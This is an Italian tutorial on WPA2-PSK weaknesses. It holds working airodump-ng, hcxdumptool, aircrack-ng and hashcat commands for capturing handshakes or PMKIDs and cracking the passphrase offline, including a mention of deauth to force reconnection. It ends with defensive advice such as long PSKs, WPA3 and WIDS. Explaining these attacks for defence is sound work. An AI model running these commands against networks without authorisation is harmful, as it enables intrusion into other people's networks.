Il wireless è spesso il perimetro più poroso di una rete. WPA2-PSK (Personal), usato in casa e in molte PMI, è vulnerabile ad attacchi offline di password cracking se la PSK è debole. Capire come funziona è essenziale per configurarlo correttamente.
Come funziona WPA2-PSK
L’autenticazione WPA2-PSK si basa sul four-way handshake: una sequenza di 4 messaggi tra client e access point che verifica che entrambi conoscano la PSK senza trasmetterla in chiaro.
Client Access Point
| ←— EAPOL-Key (ANonce) —— |
| ——— EAPOL-Key (SNonce) → |
| ←— EAPOL-Key (GTK) ——— |
| ——— EAPOL-Key (ACK) ——→ |
Dal handshake è possibile derivare un valore (MIC - Message Integrity Code) che dipende dalla PSK. Se si cattura il handshake, è possibile tentare offline: “con questa password, il MIC corrisponderebbe?” — senza bisogno di interagire con l’AP.
Cattura del handshake (solo su reti autorizzate)
# Metti la scheda in monitor mode
airmon-ng start wlan0
# Scansiona le reti
airodump-ng wlan0mon
# Cattura il traffico del target (BSSID e canale dalla scan)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Aspetta un client che si connette (o invia deauth per forzare riconnessione)
# Il handshake viene visualizzato in alto a destra nell'output
PMKID Attack — senza aspettare il handshake
Più moderno: il PMKID è un valore nel primo pacchetto EAPOL, derivato dalla PSK. Non serve aspettare un client:
# hcxdumptool — cattura PMKID
hcxdumptool -i wlan0mon --enable_status=1 -o capture.pcapng
# Converti per hashcat
hcxpcapngtool -o hash.txt capture.pcapng
# Cracking
hashcat -m 22000 hash.txt rockyou.txt
hashcat -m 22000 hash.txt rockyou.txt --rules-file best64.rule
Password cracking offline
# aircrack-ng
aircrack-ng -w rockyou.txt capture-01.cap
# hashcat — molto più veloce con GPU
# Converti il cap in formato hashcat
cap2hccapx capture-01.cap capture.hccapx
hashcat -m 2500 capture.hccapx rockyou.txt
# Attacco a maschera (es. 8 cifre)
hashcat -m 2500 capture.hccapx -a 3 ?d?d?d?d?d?d?d?d
WPA2 Enterprise — molto più sicuro
WPA2-Enterprise usa RADIUS e certificati invece di PSK. Ogni utente ha credenziali proprie. Molto più robusto per ambienti aziendali.
Difesa: come scegliere una PSK robusta
- Lunghezza: minimo 20 caratteri
- Complessità: mix di caratteri, no parole di dizionario
- WPA3: dove supportato dai dispositivi, preferire WPA3-SAE che risolve la vulnerabilità al cracking offline
- Monitoraggio: sistemi WIDS (Wireless Intrusion Detection) rilevano scan e deauth
- Reti separate: IoT su VLAN dedicata, non sulla rete principale